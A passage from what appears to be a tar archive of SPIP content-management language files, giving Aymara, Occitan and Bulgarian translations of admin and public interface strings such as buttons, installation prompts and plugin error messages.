'bouton_checkbox_signature_unique_email' => 'aruskipayirit mä iyawsaki',
'bouton_checkbox_signature_unique_site' => 'Web qamawit mä iyawsaki',
'bouton_demande_publication' => 'Aka qillqat yatiyañ mayiña',
'bouton_desactive_tout' => 'Taqpach jiwt’ayaña',
'bouton_effacer_index' => 'Utjirinaka chhaqhayaña',
'bouton_effacer_tout' => '¡Taqpach chhaqhayaña!',
'bouton_envoi_message_02' => 'MÄ YATIYAWI',
'bouton_envoyer_message' => 'Qhananchat yatiyaw: apayaña',
'bouton_modifier' => 'Mayjachaña',
'bouton_pense_bete' => 'SAPA MAYNIT AMTAYIRI',
'bouton_radio_activer_messagerie' => 'Manqhat yatiyawiri naktayaña',
'bouton_radio_activer_messagerie_interne' => 'Manqhat yatiyawiri naktayaña',
'bouton_radio_activer_petition' => 'Mayiwix naktayaña',
'bouton_radio_afficher' => 'Uñachayaña',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Chint’at tanta qillqirinakan uñstaña',
'bouton_radio_desactiver_messagerie' => 'yatiyawir jiwt’aña',
'bouton_radio_envoi_annonces_adresse' => 'Yatiyawinak utjawir apayaña:',
'bouton_radio_envoi_liste_nouveautes' => 'Machaq tanta yatiyawinak apayaña',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Tanta qillqirinakan jan uñstaña',
'bouton_radio_non_envoi_annonces_editoriales' => 'Yatiyawinak qhanstat jan apayaña',
'bouton_radio_pas_petition' => 'Jan mayiyawimpi',
'bouton_radio_petition_activee' => 'Mayiyaw naktata',
'bouton_radio_supprimer_petition' => 'Mayiwi apaqaña',
'bouton_redirection' => 'Irpxatawi',
'bouton_relancer_installation' => 'Mayamp uchantaw yatiyaña',
'bouton_suivant' => 'Jutiri',
'bouton_tenter_recuperation' => 'Askichañ yant’aña',
'bouton_test_proxy' => 'proxy uk yant’aña',
'bouton_vider_cache' => 'caché uk ch’usachaña',
'bouton_voir_message' => 'Janir apbbaykasinxa yatiyaw uñjaña
',
// C
'cache_mode_compresse' => 'Cache ukat q’ipinakaxa jitthapit ukham imasi.',
'cache_mode_non_compresse' => 'Cache ukat q’ipinakaxa jan jitthapit imasi.',
'cache_modifiable_webmestre' => 'Aka amuykipawix mayxt’ataspaw webmistress qamawit ukata.',
// D
'date_mot_heures' => 'urasa
',
// E
'email' => 'aruskipayiri',
'email_2' => 'aruskipayiri:
',
'entree_adresse_annuaire' => 'Marpachat utjawi',
'entree_adresse_email' => 'Aruskipayirima',
'entree_base_donnee_1' => 'Pirwat yatiyawinakaxa utjawi',
'entree_biographie' => 'Mä juk’a jakawipat qillqa, juk’a arunakampi...',
'entree_chemin_acces' => '<b>Mantaña</b> mantañ thakhixa:',
'entree_cle_pgp' => 'Impt’atama PGP',
'entree_contenu_rubrique' => '(T’aqan utjawipa, qawqha arunakampi)',
'entree_identifiants_connexion' => 'Chinuw uñacht’ayirinakama...',
'entree_informations_connexion_ldap' => 'Aka phuqañ laphina yatiyawinak conexión ukata jach’a q’ipimaru LDAP. Uka yatiyawinakxa yatiyanitamwa apnaqir apnaqawita jan ukjax red ukata',
'entree_infos_perso' => '¿Khititasa?',
'entree_interieur_rubrique' => 'T’aqata maqhana...',
'entree_liens_sites' => '<b>Chinu jach’a sawu </b>(aytata, qamaw tumpañataki, ...)',
'entree_login' => 'Sutichatama',
'entree_login_connexion_1' => 'Chinu uñacht’ayirima',
'entree_login_ldap' => 'Login LDAP qalltawi',
'entree_mot_passe' => 'Imt’awima',
'entree_mot_passe_1' => 'Chinu imt’awima',
'entree_mot_passe_2' => '(Awisax FTP imt’atamar ukankiwa ukatsti awisax ch’usak jayti)',
'entree_nom_fichier' => 'K’ipit sutipa uk uchantaña @texte_compresse@:',
'entree_nom_pseudo' => 'Sutima jan ukax sutinchama',
'entree_nom_pseudo_1' => 'Sutima jan ukax sutinchama',
'entree_nom_site' => 'Qamawiman sutipa',
'entree_nouveau_passe' => 'Machaq imt’awima',
'entree_passe_ldap' => 'Imt’awima',
'entree_port_annuaire' => 'Marpachat thakhin jakhu',
'entree_signature' => 'Iyawsa',
'entree_titre_obligatoire' => '<b>Sutinchata</b> [Obligatorio]<br />',
'entree_url' => 'Utjawi(URL) qamawimata',
'erreur_plugin_fichier_absent' => 'Jan utjaw q’ipi
',
'erreur_plugin_fichier_def_absent' => 'Qhanstayat q’ipix janiw utjkiti',
'erreur_plugin_nom_fonction_interdit' => 'Lurt’awit sutix jark’ata',
'erreur_plugin_nom_manquant' => 'Jan utjawi plugin ukan sutipa',
'erreur_plugin_prefix_manquant' => 'Sutinakat ch’usawj pluguin ukat jan qhanstata',
'erreur_plugin_tag_plugin_absent' => 'Janiw utjkiti <plugin> qhanstayawin q’ipita',
'erreur_plugin_version_manquant' => 'Pluguin ukat uñjata jan utjkiti',
// I
'ical_info1' => 'Aka qamawinxa kunayman lurawinak chinusiñataki utji qamaw utjawipampi',
'ical_info2' => 'Aka taqpach lurawinakxat juk’amp yatxatañatakix, yatxatañatakix jan pächasimti <a href="@spipnet@">illqanakawi</a>.', # MODIF
'ical_info_calendrier' => 'Pä pachachimpuw utjtam. Mayirix qamawit mä laphi uñnaqawa kunanti taqpach yatiyat qillqatank yatiyi: jumakiw uñjtax uka mä suti imt’awi ukata, ukatxa mayjt’ayasmaw kuna pachtix munktax ukja imt’awim mayjt’ayasa.',
'ical_methode_http' => 'Apaqaña',
'ical_methode_webcal' => 'Kikipawi (webcal://)',
'ical_texte_js' => 'Javascript mä siqix ukhamakiw uñachayatam, kawkirs jumankir qamawina, jichhaki yatiyat qillqatanak aka qamawina ',
'ical_texte_prive' => 'Aka sapa maynit pacha chimpuxa, aka qamawit jark’ata lurawinak yatiytam (lurawinaka ukatsti sapa maynit aytatanaka, qillqatanaka ukatsti jisk’aptat amtanaka...)',
'ical_texte_public' => 'Aka pacha chimpux uñchukiytam qamawit lurawinaka (qillqatanak ukatsti jisk’aptatanak yatiyata).',
'ical_texte_rss' => 'Machaq yatiyawinak aka qamawitxa apxasismaw kawkir q’ipinak liyt’irimpi XML/RSS (Rich Site Summary) utt’ayataru. Ukhamaraki SPIP ukax liyt’aspaw machaq yatiyat yatiyawinaka yaqha qamawinakana kawkinti turkakipaw utt’ayatampi lurapxi (apxasit qamawinaka). ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Aruskipayirit tanta',
'ical_titre_rss' => 'Apxasit q’ipinaka',
'icone_activer_cookie' => '“Cookie” uk naktayaña yatiyawinakata',
'icone_admin_plugin' => 'Pluguin ukanakat apnaqawi',
'icone_afficher_auteurs' => 'Qillqirinaka uñachayaña',
'icone_afficher_visiteurs' => 'Tumpirinaka uñachayaña',
'icone_arret_discussion' => 'Aka aruskipawin jan mayamp arst’añati',
'icone_calendrier' => 'Pachachimpu',
'icone_creer_auteur' => 'Mä machaq qillqiri uñstayaña ukatsti aka qillqatar mayacht’aña',
'icone_creer_rubrique_2' => 'Mä machaq t’aqa uñstayaña',
'icone_envoyer_message' => 'Yatiyawi apayaña',
'icone_modifier_article' => 'Aka qillqata mayjt’ayaña',
'icone_modifier_message' => 'Aka yatiyawi mayjt’ayaña',
'icone_modifier_rubrique' => 'Aka t’aqa mayjt’ayaña',
'icone_retour' => 'Kutiña',
'icone_retour_article' => 'Qillqatar kutiña',
'icone_supprimer_cookie' => '\\"Cookie\\" uk apaqaña yatiyawinakata ',
'icone_supprimer_rubrique' => 'Aka t’aqa a paqayaña',
'icone_supprimer_signature' => 'Aka iyawsa apaqaña',
'icone_valider_signature' => 'Aka iyaws iyaw saña',
'image_administrer_rubrique' => 'Aka t’aqa apnaqasmawa',
'info_1_article' => '1 qillqata',
'info_1_site' => '1 qamawi
',
'info_admin_gere_rubriques' => 'Jutir t’aqanakxa aka jaqiw apnaqi:',
'info_admin_gere_toutes_rubriques' => 'Aka apnaqiriw apnaqi <b>taqpacha apnaqi</b>.', # MODIF
'info_administrateur' => 'Apnaqiri',
'info_administrateur_1' => 'Apnaqiri',
'info_administrateur_2' => 'Qamawita (<i>amuyump luram</i>)',
'info_administrateur_site_02' => 'Aka chinunx limt’am',
'info_administrateurs' => 'Apnaqirinaka',
'info_administrer_rubrique' => 'Aka t’aqxa apnaqasmawa',
'info_adresse' => 'utjawiru:',
'info_adresse_url' => 'Utjawi (URL) jach’a qamaw utata',
'info_afficher_visites' => 'Tumpirinak uñachayaña ukataki:',
'info_aide_en_ligne' => 'SPIP naktatat yanapa',
'info_ajout_participant' => 'Jutir arst’iri yäqatawa:',
'info_ajouter_rubrique' => 'Apnaqañatakix yaqha t’aqa yapaña',
'info_annonce_nouveautes' => 'Machaq yatiyawinaka yatiyaña',
'info_anterieur' => 'nayriri',
'info_article' => 'qillqata
',
'info_article_2' => 'qillqatanaka',
'info_article_a_paraitre' => 'Qillqatanak jutir urumpi yatiyataru',
'info_articles_02' => 'qillqatanaka',
'info_articles_2' => 'Qillqatanaka',
'info_articles_auteur' => 'Aka qillqirit qillqatanaka',
'info_articles_trouves' => 'Qillqatanak jikita',
'info_articles_trouves_dans_texte' => 'Jikit qillqatanak (sawutana)',
'info_attente_validation' => 'Qillqatanakax iyaw sañataki suyaski',
'info_aujourdhui' => 'jichhüru:',
'info_auteur_message' => 'YATIYAW QILLQIRI:',
'info_auteurs' => 'Qillqirinaka',
'info_auteurs_par_tri' => 'Qillqirinaka@partri@',
'info_auteurs_trouves' => 'Qillqirinaka jikita',
'info_authentification_externe' => 'Anqax chiqpach siriwi',
'info_avertissement' => 'Amuyam',
'info_base_installee' => 'Ch’akha ch’akha pirwa yatiyawinakamatxa uchantataxiwa',
'info_chapeau' => 'Qalltawi',
'info_chapeau_2' => 'Qalltawi:',
'info_chemin_acces_1' => 'Ajlliñatakiwa: <b></b>mantañ thakhita jach’a q’ipina</b>',
'info_chemin_acces_annuaire' => 'Ajllañatakiwa: <b>Mantañ thakhi jach’a q’ipina</b>',
'info_choix_base' => 'Kimsir sarawi:',
'info_classement_1' => '° ukjaru @liste@',
'info_classement_2' => '° ukjaru @liste@
',
'info_code_acces' => '¡Mantañ chimpunakam jan armasimti!',
'info_config_suivi_explication' => 'Tanta aruskipayiriru aka qamawitxa qillqayasismaw. Aruskipayiritxa qillqatanakat yatiyawinak qatuqata ukatsti jisk’aptat amtatanak yatiyatawiru.',
'info_confirmer_passe' => 'Machaq imt’aw iyaw saña: ',
'info_connexion_base' => 'Payir sarawi: <b>chinuñ yant’awi base ukaru</b>',
'info_connexion_ldap_ok' => 'LDAP chinuwix lurt’xiwa.</b><p> jutir sarawir sarantasmawa.</p>', # MODIF
'info_connexion_mysql' => 'Mayir sarawi: <b> MySQL chinuwima</b>',
'info_connexion_ok' => 'Chinuwix lurt’xiwa.',
'info_contact' => 'Jikxatata',
'info_contenu_articles' => 'Qillqatanakat utjawi',
'info_creation_paragraphe' => ' (Tanta amuyunak uñstayañatakix, ch’usa siqinak jaytam)', # MODIF
'info_creation_rubrique' => 'Janir qillqatanak qillt’asinxa, <br /> mä t’aqa uñstayañama.<br />',
'info_creation_tables' => 'Pusir sarawi: <b>base ukat uyu uyunakat uñstayawi</b> ',
'info_creer_base' => '<b>uñstayaña</b> mä machaq yatiyawinak pirwa: ',
'info_dans_rubrique' => 'T’aqanxa...',
'info_date_publication_anterieure' => 'Nayrt’ir uru aka qillqawita',
'info_date_referencement' => 'APXASIW URU AKA QAMAWITA:',
'info_derniere_etape' => 'Qhipa sarawi: ¡tukuytanwa!',
'info_derniers_articles_publies' => 'Qhipa yatiyat qillqatanakama',
'info_desactiver_messagerie_personnelle' => 'Aka qamawinxa juman yatiyawirima naktayasmaw jiwt’ayarakismaw',
'info_descriptif' => 'Uñt’ayawi:',
'info_discussion_cours' => 'Amuyt’awinakax lurasiskiw',
'info_ecrire_article' => 'Janir qillqatanak qillqasinxa, mä t’aqa uñstayañamawa.',
'info_email_envoi' => 'Apaw aruskipayirit utjawipa (ajlliñatakiwa)',
'info_email_webmestre' => 'Aruskipayirit utjawipa webmaster ukata (ajlliñatakiwa)', # MODIF
'info_entrer_code_alphabet' => 'Qillqa chimputampi lurkatax uk uchantam',
'info_envoi_email_automatique' => 'Aruskipayirinakat justup apayawi',
'info_envoyer_maintenant' => 'Jichhaki apayaña',
'info_etape_suivante' => 'Arkir sarawir sarantaña',
'info_etape_suivante_1' => 'Arkir sarawir sarantasmawa',
'info_etape_suivante_2' => 'Arkir sarawir sarantasmawa',
'info_exportation_base' => 'base ukax apsusispaw @archive@ uka tuqiru',
'info_facilite_suivi_activite' => 'Qillqa lurawit uñch’ukiw jasachañatakix, SPIP ukax aruskipayirit apayaspa, mä tanta qillqirinakar ukhama yatiyatawinakataki yatiyawinaka ukatak mayiwinaka, ukhamarak qillqatanakat iyaw sawi.',
'info_fichiers_authent' => 'Chiqpach sirit q’ipinaka «.htpasswd» ',
'info_forums_abo_invites' => 'Qamawimax aruskipañawinakaniw qullqimp qillqatanakatakikiwa; Aka jach’a uta qamawinxa tumpirinakaru qillqayasiñataki jawthapiyi.',
'info_gauche_admin_effacer' => '<b>Aka Web qamawix qamawit apnaqirinakatakikiwa.</b><p> Mantayiwa kunayman uñjawinakar askichañataki. Yaqhipanakax</p>', # MODIF
'info_gauche_auteurs' => 'Akanxa taqpach qamawit qillqirinakaw uñsti. Kunjamaskis ukxa jisk’a saltan kulurapampiw uñacht’ayi (apnaqiri = ch’uxña, qillqiri = q’illu).',
'info_gauche_auteurs_exterieurs' => 'Anqajankir qillqirinakax, qamawir jan mantañaniwa, mä laram jisk’a saltampiw uñacht’ayataski; mä wayaqamp chhaqayatakis.', # MODIF
'info_gauche_messagerie' => 'Yatiyawirix yatiyasiwa, amtayirinak uñstyaña yatiyaw tantaru kuns apaniñapataki jan ukjax yatiyawinak yatiyaña ( apnaqir qutu ukar mayachatakis ukjax)
',
'info_gauche_numero_auteur' => 'JAKHU QILLQIRINAKA',
'info_gauche_statistiques_referers' => 'Aka Web qamawix tantanak uñicht’ayi <i>referers</i>, qamawinakan chinunak utjkis ukhamarak juman qamawimar apapxi, masurutakiki ukhamarak jichhurutakiki; aka tantaxa sapa pä tunka urasanaka ch’usaru uskuña.',
'info_gauche_visiteurs_enregistres' => 'Akanxa jach’a qamaw utan qillqatanakakiw jikxatasi (aruskipañawinak qillqayasiyampi)',
'info_gerer_trad' => '¿Jaqukiptaw chinunak apnaqaña?',
'info_historique_activer' => 'Uñakipawinakat uñch’ukiwi naktaña',
'info_historique_affiche' => 'Aka uñjat uñachayaña',
'info_historique_comparaison' => 'kikipawi',
'info_historique_desactiver' => 'Uñakipawinakat uñch’ukiwi jiwt’ayaña',
'info_identification_publique' => 'Uñacht’ayawima...'
);
?>
public_oc_prv.php 0000666 00000007142 15252547432 0010124 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=oc_prv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Acuelh dau sit', # MODIF
'articles' => 'Articles',
'articles_auteur' => 'Articles d’aquel autor',
'articles_populaires' => 'Leis articles mai populars',
'articles_rubrique' => 'Articles d’aquela rubrica',
'aucun_article' => 'I a ges d’article a aquela adreiça ',
'aucun_auteur' => 'I a ges d’autor a aquela adreiça ',
'aucun_site' => 'I a ges de sit a aquela adreiça ',
'aucune_breve' => 'I a ges de brèva a aquela adreiça ',
'aucune_rubrique' => 'I a ges de rubrica a aquela adreiça ',
'autres_breves' => 'Autrei brèvas',
'autres_groupes_mots_clefs' => 'Autrei grops de mots claus',
'autres_sites' => 'Autrei sits',
// B
'bonjour' => 'Bonjorn',
// C
'commenter_site' => 'Comentar aqueu sit',
// D
'date' => 'Data',
'dernier_ajout' => 'Darrier apondon',
'dernieres_breves' => 'Darrierei brèvas',
'derniers_articles' => 'Darriers articles',
'derniers_commentaires' => 'Darriers comentaris',
'derniers_messages_forum' => 'Darriers messatges publicats dins lei forums',
// E
'edition_mode_texte' => 'Edicion en mòde tèxt de',
'en_reponse' => 'En respònsa a:',
'en_resume' => 'En resumit',
'envoyer_message' => 'Mandar un messatge',
'espace_prive' => 'Espaci privat',
// H
'hierarchie_site' => 'Ierarquia dau sit',
// J
'jours' => 'jorns',
// M
'meme_auteur' => 'Dau meteis autor',
'meme_rubrique' => 'Dins la meteissa rubrica',
'memes_auteurs' => 'Dei meteis autors',
'message' => 'Messatge',
'messages_forum' => 'Messatges de forum', # MODIF
'messages_recents' => 'Lei messatges de forums mai recents',
'mots_clefs' => 'Mots claus',
'mots_clefs_meme_groupe' => 'Mots claus dins lo meteis grop',
// N
'navigation' => 'Navigacion',
'nom' => 'Nom',
'nouveautes' => 'Lei novetats',
'nouveautes_web' => 'Novetats subre lo web',
'nouveaux_articles' => 'Articles nòus',
'nouvelles_breves' => 'Brèvas nòvas',
// P
'page_precedente' => 'pagina precedenta',
'page_suivante' => 'pagina seguenta',
'par_auteur' => 'per ',
'participer_site' => 'Podètz participar a la vida d’aqueu sit e prepausar leis articles vòstres en vos inscrivent çai sota. Recebretz sus lo còp un e-mail que vos indicarà vòstrei còdes per accedir a l’espaci privat dau sit.',
'plan_site' => 'Plan dau sit',
'popularite' => 'Popularitat',
'poster_message' => 'Postar un messatge',
'proposer_site' => 'Podètz prepausar un sit d’apondre a aquesta rubrica:',
// R
'repondre_article' => 'Respòndre a aquel article',
'repondre_breve' => 'Respòndre a aquela brèva',
'resultats_recherche' => 'Resultats de la cèrca',
'retour_debut_forums' => 'Retorn au començament dei forums',
'rubrique' => 'Rubrica',
'rubriques' => 'Rubricas',
// S
'signatures_petition' => 'Signaturas',
'site_realise_avec_spip' => 'Sit realizat amb SPIP',
'sites_web' => 'Sits web',
'sous_rubriques' => 'Sosrubricas',
'suite' => 'seguida',
'sur_web' => 'Subre lo web',
'syndiquer_rubrique' => 'Sindicar aquela rubrica',
'syndiquer_site' => 'Sindicar tot lo sit',
// T
'texte_lettre_information' => 'Vaicí la letra d’informacion dau sit',
'texte_lettre_information_2' => 'Aquela letra recensa leis articles e brèvas publicats dempuei', # MODIF
// V
'ver_imprimer' => 'Version d’estampar',
'voir_en_ligne' => 'Vejatz en linha',
'voir_squelette' => 'telecargar l’esqueleta d’aquela pagina'
);
?>
ecrire_bg.php 0000666 00000234702 15252547432 0007223 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=bg
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Активирайте плъгина',
'aide_non_disponible' => 'Тази част от рубриката "Помощник" все още не е публикувана на български език.',
'auteur' => 'Автор:',
'avis_acces_interdit' => 'Забранен достъп.',
'avis_article_modifie' => 'Предупреждение! @nom_auteur_modif@ е работил по тази статия преди @date_diff@ минути',
'avis_aucun_resultat' => 'Няма намерени резултати.',
'avis_chemin_invalide_1' => 'Името на файла, което сте избрали',
'avis_chemin_invalide_2' => 'е грешно. Моля, върнете се на предишната страница, за за проверите подадената информация. ',
'avis_connexion_echec_1' => 'Връзката към SQL сървъра се разпадна.', # MODIF
'avis_connexion_echec_2' => 'Моля, върнете се на предишната страница, за да проверите подадената информация.',
'avis_connexion_echec_3' => '<b>ВНИМАНИЕ!</b> За достъп до голяма част от сървърите е необходимо да се изпрати <b>заявка</b> за активиране достъпа до базите данни SQL, преди използването им. Ако не успеете да се свържете, проверете дали сте изпратили заявката.', # MODIF
'avis_connexion_ldap_echec_1' => 'Връзката с LDAP сървъра пропадна.',
'avis_connexion_ldap_echec_2' => 'Моля, върнете се на предишната страница, за за проверите подадената информация.',
'avis_connexion_ldap_echec_3' => 'Без използване на LDAP-поддръжка за вписване на потребители.',
'avis_deplacement_rubrique' => 'Предупреждение! Рубриката съдържа @contient_breves@ новина@scb@: ако желаете да я преместите, отметнете в полето за потвърждение. ',
'avis_destinataire_obligatoire' => 'Трябва да укажете получател, преди да изпратите съобщението.',
'avis_erreur_connexion_mysql' => 'Грешка при свързване с SQL',
'avis_erreur_version_archive' => '<b>Внимание! Файлът @archive@ отговаря на
различна версия на СПИП от тази, която имате
инсталирана.</b> Това води до големи проблеми:
има риск от разрушаване на базата данни, от
нарушаване функциите на сайта и т.н. Не изпращайте
тази заявка за вписване.<p>За повече
информация се обръщайте към <a href="@spipnet@">
документацията на СПИП</a>.', # MODIF
'avis_espace_interdit' => '<b>Забранена област</b><p>СПИП е вече инсталиран.',
'avis_lecture_noms_bases_1' => 'Инсталаторът не може да прочете имената на инсталираните бази данни.',
'avis_lecture_noms_bases_2' => 'Или не съществува база данни, или свойството, позволяващо преглед на базите данни е забранено
поради съображения за сигурност (какъвто е случаят с много доставчици).',
'avis_lecture_noms_bases_3' => 'Ако втората възможност се окаже вярна, тогава е възможно да се използва базата данни, указана след Вашето влизане в системата.',
'avis_non_acces_message' => 'Забранен достъп до съобщението.',
'avis_non_acces_page' => 'Забранен достъп до тази страница.',
'avis_operation_echec' => 'Операцията пропадна.',
'avis_probleme_archive' => 'Грешка при четене на файла @archive@',
'avis_suppression_base' => 'ПРЕДУПРЕЖДЕНИЕ: изтриването на данните е необратимо',
'avis_version_mysql' => 'С Вашата SQL версия: (@version_mysql@) е невъзможно да се осъществи автоматична поправка в таблиците с бази данни.',
// B
'bouton_acces_ldap' => 'Добавяне достъп до LDAP >>',
'bouton_ajouter' => 'Добавяне',
'bouton_ajouter_participant' => 'ДОБАВЯНЕ НА УЧАСТНИК:',
'bouton_annonce' => 'СЪОБЩЕНИЕ',
'bouton_checkbox_envoi_message' => 'възможност за изпращане на съобщение',
'bouton_checkbox_indiquer_site' => 'Моля, впишете името на Интернет сайт',
'bouton_checkbox_signature_unique_email' => 'позволен е само един запис на електронен адрес',
'bouton_checkbox_signature_unique_site' => 'позволен е само един запис на Интернет сайт',
'bouton_demande_publication' => 'Заявка за публикуване на статията',
'bouton_desactive_tout' => 'Деактивирайте всички',
'bouton_effacer_index' => 'Изтриване на индекси',
'bouton_effacer_tout' => 'Изтриване на ВСИЧКО',
'bouton_envoi_message_02' => 'ИЗПРАЩАНЕ НА СЪОБЩЕНИЕ',
'bouton_envoyer_message' => 'Последно съобщение: изпращане',
'bouton_modifier' => 'Промяна',
'bouton_pense_bete' => 'ЛИЧНА БЕЛЕЖКА',
'bouton_radio_activer_messagerie' => 'Позволяване на система за вътрешни съобщения',
'bouton_radio_activer_messagerie_interne' => 'Позволяване на система за вътрешни съобщения',
'bouton_radio_activer_petition' => 'Активиране на молбата',
'bouton_radio_afficher' => 'Показване',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Добяване към списъка на текущо свързаните редактори',
'bouton_radio_desactiver_messagerie' => 'Без система за съобщения',
'bouton_radio_envoi_annonces_adresse' => 'Изпращане на съобщения до следния адрес:',
'bouton_radio_envoi_liste_nouveautes' => 'Изпращане на списък с новини',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Изключване от списъка на текущо свързаните редактори',
'bouton_radio_non_envoi_annonces_editoriales' => 'Отказ от изпращане на редакторски съобщения',
'bouton_radio_pas_petition' => 'Без молба',
'bouton_radio_petition_activee' => 'Молбата е активирана',
'bouton_radio_supprimer_petition' => 'Изтриване на молбата',
'bouton_redirection' => 'ПРЕНАСОЧВАНЕ',
'bouton_relancer_installation' => 'Подновяване на инсталацията',
'bouton_suivant' => 'По-нататък',
'bouton_tenter_recuperation' => 'Опит за възстановяване',
'bouton_test_proxy' => 'Тестване на прокси',
'bouton_vider_cache' => 'Изпразване на кеш-паметта',
'bouton_voir_message' => 'Преглед на съобщението преди одобряване за публикуване',
// C
'cache_mode_compresse' => 'Кеш-файловете са запазени в компресиран вид.',
'cache_mode_non_compresse' => 'Кеш-файловете са записани в некомпресиран вид.',
'cache_modifiable_webmestre' => 'Параметърът може да бъде променен от уеб-администратора. ',
'calendrier_synchro' => 'Ако инсталирате приложение за дневник, съвместимо с <b>iCal</b>, ще можете да го синхронизирате с информацията от сайта.',
// D
'date_mot_heures' => 'ч.',
// E
'email' => 'електронен адрес',
'email_2' => 'електронен адрес:',
'entree_adresse_annuaire' => 'Адрес на директорията',
'entree_adresse_email' => 'Електронен адрес (е-mail)',
'entree_base_donnee_1' => 'Адрес на базата данни',
'entree_base_donnee_2' => '(Често адресът съвпада с адрес от Вашия сайт, понякога съответства на името «localhost», а понякога се оставя празен.)',
'entree_biographie' => 'Кратка биография с няколко думи.',
'entree_chemin_acces' => '<b>Въвеждане</b> на път:',
'entree_cle_pgp' => 'PGP ключ',
'entree_contenu_rubrique' => '(Кратко съдържание на рубриката.)',
'entree_identifiants_connexion' => 'Идентефикатори за свързване',
'entree_informations_connexion_ldap' => 'Моля, попълнете бланката с информацията за LDAP връзка. Тази информация ще получите от системния или мрежовия администратор.',
'entree_infos_perso' => 'Кой си ти?',
'entree_interieur_rubrique' => 'В рубриката:',
'entree_liens_sites' => '<b>Хипертекстова препратка</b> (препратка, сайт за посещаване и т.н.)',
'entree_login' => 'Вход',
'entree_login_connexion_1' => 'Потребителско име за свързване',
'entree_login_connexion_2' => '(Понякога съвпада с Вашето потребителско име към FTP достъпа, понякога се оставя празно)',
'entree_login_ldap' => 'Начален вход за LDAP',
'entree_mot_passe' => 'Парола',
'entree_mot_passe_1' => 'Парола за свързване',
'entree_mot_passe_2' => '(Понякога съвпада с паролата Ви за FTP-достъп, понякога се оставя празно)',
'entree_nom_fichier' => 'Моля, попълнете име на файла @texte_compresse@:',
'entree_nom_pseudo' => 'Име или прякор',
'entree_nom_pseudo_1' => '(Име или прякор)',
'entree_nom_site' => 'Име на сайта',
'entree_nouveau_passe' => 'Нова парола',
'entree_passe_ldap' => 'Парола',
'entree_port_annuaire' => 'Номер на порта на директорията',
'entree_signature' => 'Подпис',
'entree_titre_obligatoire' => '<b>Заглавие</b> [Задължително]<br />',
'entree_url' => 'URL на сайта',
'erreur_plugin_fichier_absent' => 'Липсва файл',
'erreur_plugin_fichier_def_absent' => 'Файлът - дефиниция липсва',
'erreur_plugin_nom_fonction_interdit' => 'Забранено име на функцията',
'erreur_plugin_nom_manquant' => 'Липсва име на плъгина',
'erreur_plugin_prefix_manquant' => 'Не е определено име, указващо мястото на плъгина',
'erreur_plugin_tag_plugin_absent' => '<плъгин> липсва във файла - дефиниция',
'erreur_plugin_version_manquant' => 'Липсва версията на плъгина',
// I
'ical_info1' => 'Тази страница представя няколко начина да останете във връзка с дейността на сайта.',
'ical_info2' => 'За повече информация, отидете на <a href="@spipnet@">Документация за СПИП</a>.', # MODIF
'ical_info_calendrier' => 'Имате на разположение два календара. Първият е карта на сайта, указваща всички публикувани статии. Вторият съдържа обявления за редакторите, както и най-новите лични съобщения до Вас. Този календар се показва само на Вас, благодарение на личнен ключ, който можете да променяте по всяко време чрез смяна на паролата.',
'ical_methode_http' => 'Сваляне',
'ical_methode_webcal' => 'Синхронизация (webcal://)',
'ical_texte_js' => 'Един ред на скрипт Java позволява на всяка страница от сайта лесно да се показват най-новите публикувани статии.',
'ical_texte_prive' => 'Календарът е строго личен. Той уведомява за вътрешните редакторски дейности на сайта (напр. задачи, лични срещи, изпратени статии и новини и др.)',
'ical_texte_public' => 'Календарът Ви дава възможност да следите публичните дейности на сайта (напр. публикувани статии и новини).',
'ical_texte_rss' => 'Можете да обедините последните новини от сайта на всеки файлов четец от типа XML/RSS (Rich Site Summary). Това е същият формат, който позволява на СПИП да чете последните новини, публикувани от други сайтове като за целта използва съвместим формат за обмен.',
'ical_titre_js' => 'Скрипт Java',
'ical_titre_mailing' => 'Пощенски списък',
'ical_titre_rss' => 'Файлове за обединение',
'icone_activer_cookie' => 'Поставяне на cookie',
'icone_admin_plugin' => 'Управление на плъгините',
'icone_afficher_auteurs' => 'Показване на авторите',
'icone_afficher_visiteurs' => 'Показване на посетителите',
'icone_arret_discussion' => 'Прекъсване участието в тази дискусия',
'icone_calendrier' => 'Календар',
'icone_creer_auteur' => 'Създаване на автор и свързване със статията',
'icone_creer_mot_cle' => 'Създаване на ключова дума и свързване със статията',
'icone_creer_rubrique_2' => 'Създаване на рубрика',
'icone_envoyer_message' => 'Изпращане на съобщението',
'icone_modifier_article' => 'Промяна на статията',
'icone_modifier_message' => 'Промяна на съобщението',
'icone_modifier_rubrique' => 'Промяна на рубриката',
'icone_retour' => 'Обратно',
'icone_retour_article' => 'Обратно към статията',
'icone_supprimer_cookie' => 'Изтриване на cookie',
'icone_supprimer_rubrique' => 'Изтриване на рубриката',
'icone_supprimer_signature' => 'Изтриване на записа',
'icone_valider_signature' => 'Одобряване на записа',
'image_administrer_rubrique' => 'Управление на рубриката',
'info_1_article' => '1 статия',
'info_1_site' => '1 сайт',
'info_activer_cookie' => 'Възможност за активиране на <b>cookie администриране</b>, което позволява
улеснено превключване между публичния сайт и личната зона.',
'info_admin_gere_rubriques' => 'Този администратор управлява следните рубрики:',
'info_admin_gere_toutes_rubriques' => 'Този администратор управлява <b>всички рубрики</b>.', # MODIF
'info_administrateur' => 'Администратор',
'info_administrateur_1' => 'Администратор',
'info_administrateur_2' => 'на сайта (<i>внимавайте</i>)',
'info_administrateur_site_01' => 'Ако сте администратор на сайта, моля',
'info_administrateur_site_02' => 'посещаване на препратката',
'info_administrateurs' => 'Администратори',
'info_administrer_rubrique' => 'Вие можете да управлявате рубриката',
'info_adresse' => 'към адрес:',
'info_adresse_url' => 'Публичен URL на сайта ',
'info_afficher_visites' => 'Показване на посещения за:',
'info_aide_en_ligne' => 'Помощник',
'info_ajout_image' => 'Когато се добавят изображения под формата на приложени документи към
